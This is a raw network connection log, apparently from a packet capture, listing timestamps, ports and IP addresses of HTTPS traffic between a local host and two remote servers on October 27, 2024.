Oct 27, 2024 17:54:16.661122084 CET	443	49712	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:16.728806973 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:16.728867054 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:16.729203939 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:16.729434013 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:16.729461908 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:16.785664082 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:16.785763025 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:16.789187908 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:16.789208889 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:16.789494991 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:16.791248083 CET	49714	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:16.791333914 CET	443	49714	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:16.791408062 CET	49714	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:16.791640043 CET	49714	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:16.791671991 CET	443	49714	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:16.799956083 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:16.843369961 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.048645020 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.048662901 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.048741102 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.048882008 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.048882008 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.048950911 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.049020052 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.167718887 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.167745113 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.167884111 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.167949915 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.168009996 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.286987066 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.287009001 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.287079096 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.287122965 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.287174940 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.405586004 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.405612946 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.405714035 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.405761957 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.405791998 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.405814886 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.514746904 CET	443	49712	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.515018940 CET	49712	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.515052080 CET	443	49712	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.516757965 CET	443	49712	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.516832113 CET	49712	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.521111012 CET	49712	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.521226883 CET	443	49712	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.521307945 CET	49712	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.521320105 CET	443	49712	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.524231911 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.524255991 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.524316072 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.524384975 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.524421930 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.524447918 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.533819914 CET	443	49709	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.534049034 CET	49709	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.534087896 CET	443	49709	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.537928104 CET	443	49709	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.538028002 CET	49709	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.538361073 CET	49709	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.538459063 CET	443	49709	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.538579941 CET	49709	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.538599968 CET	443	49709	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.569648981 CET	49712	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.582684040 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.582963943 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.583026886 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.584297895 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.584366083 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.584752083 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.584821939 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.584923029 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.584940910 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.585263014 CET	49709	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.632164955 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.632431984 CET	443	49714	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.632797956 CET	49714	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.632824898 CET	443	49714	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.634023905 CET	443	49714	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.634094954 CET	49714	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.634366035 CET	49714	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.634448051 CET	443	49714	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.634500027 CET	49714	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.634507895 CET	443	49714	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.643974066 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.644005060 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.644093990 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.644123077 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.644166946 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.679038048 CET	49714	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.761904001 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.761926889 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.762059927 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.762082100 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.762131929 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.789920092 CET	443	49712	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.824220896 CET	443	49709	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.834933996 CET	49712	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.834949970 CET	443	49712	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.837033987 CET	49712	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.837136984 CET	443	49712	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.837222099 CET	49712	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.866983891 CET	49709	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.867012978 CET	443	49709	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.869208097 CET	49709	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.869301081 CET	443	49709	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.869354010 CET	49709	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.874923944 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.874965906 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.875013113 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.875025988 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.875037909 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.875077963 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.875087023 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.875098944 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.875133991 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.875139952 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.880348921 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.880373955 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.880441904 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.880465031 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.880501986 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.886214018 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.886257887 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.886277914 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.907527924 CET	443	49714	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.923474073 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.923499107 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.923572063 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.923597097 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:17.923644066 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:17.929477930 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.929505110 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.960730076 CET	49714	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.960755110 CET	443	49714	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.961971045 CET	49714	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.962100983 CET	443	49714	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.962162971 CET	49714	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.976377964 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.992413998 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.992458105 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.992500067 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.992527008 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.995794058 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.995842934 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:17.995860100 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:17.999952078 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.000001907 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.000017881 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.008857012 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.008907080 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.008924961 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.040687084 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.040716887 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.040848017 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.040874958 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.040921926 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.050057888 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.051804066 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.100754023 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.109787941 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.109839916 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.109901905 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.109931946 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.113043070 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.113114119 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.113128901 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.117574930 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.117677927 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.117692947 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.118805885 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.118833065 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.118937016 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.118954897 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.119020939 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.127032995 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.127120972 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.127135992 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.169344902 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.169456959 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.169476032 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.210189104 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.226746082 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.229537010 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.229701042 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.229736090 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.230317116 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.230384111 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.230400085 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.234797955 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.234854937 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.234864950 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.236999035 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.237045050 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.237114906 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.237123013 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.237149954 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.237169027 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.244450092 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.244549036 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.244559050 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.280132055 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.280160904 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.280296087 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.280334949 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.280392885 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.287271976 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.287307024 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.287461996 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.287472963 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.287528992 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.344125986 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.349493027 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.349524021 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.349586964 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.349656105 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.349718094 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.352726936 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.355926991 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.356038094 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.356059074 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.356154919 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.356201887 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.356201887 CET	49708	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.356236935 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.356259108 CET	443	49708	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.361314058 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.361401081 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.361403942 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.361430883 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.361479998 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.416359901 CET	49715	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.416415930 CET	443	49715	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.416491985 CET	49715	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.417784929 CET	49716	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.417862892 CET	443	49716	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.417934895 CET	49716	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.418278933 CET	49717	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.418370962 CET	443	49717	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.418433905 CET	49717	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.419462919 CET	49718	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.419483900 CET	443	49718	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.419559956 CET	49718	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.419734001 CET	49718	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.419764042 CET	443	49718	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.419846058 CET	49715	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.419862986 CET	443	49715	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.419936895 CET	49716	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.419955969 CET	443	49716	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.420017004 CET	49717	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.420070887 CET	443	49717	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.420504093 CET	49719	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.420547009 CET	443	49719	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.420608044 CET	49719	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.420706034 CET	49719	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:18.420730114 CET	443	49719	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:18.625340939 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.625406027 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.625431061 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.625593901 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.625628948 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.625637054 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.625637054 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.625654936 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.625667095 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.625694036 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.625798941 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.625832081 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.625838041 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.625849009 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.625905037 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.633039951 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.633203030 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.633275032 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.633300066 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.633315086 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.633361101 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.633368969 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.633452892 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.633501053 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.633508921 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.633570910 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.633616924 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.633625031 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.633683920 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.633728981 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.633735895 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.633797884 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.633841991 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.633848906 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.633946896 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.633992910 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.634000063 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.639002085 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.639100075 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.639125109 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.639133930 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.639177084 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.639183998 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.679501057 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.696655989 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.700205088 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.700295925 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.700320959 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.700354099 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.700392962 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.705007076 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.705152988 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.705210924 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.705230951 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.713677883 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.713789940 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.713816881 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.757620096 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.759531021 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.759685040 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.759764910 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.759777069 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.759807110 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.759851933 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.814152956 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.814338923 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.814574957 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.814651966 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.817987919 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.818120956 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.818144083 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.822489977 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.822632074 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.822643042 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.822662115 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.822714090 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.822729111 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.822820902 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:18.822873116 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.823376894 CET	49713	443	192.168.2.5	216.58.206.68
Oct 27, 2024 17:54:18.823411942 CET	443	49713	216.58.206.68	192.168.2.5
Oct 27, 2024 17:54:19.343782902 CET	443	49717	13.107.246.45	192.168.2.5
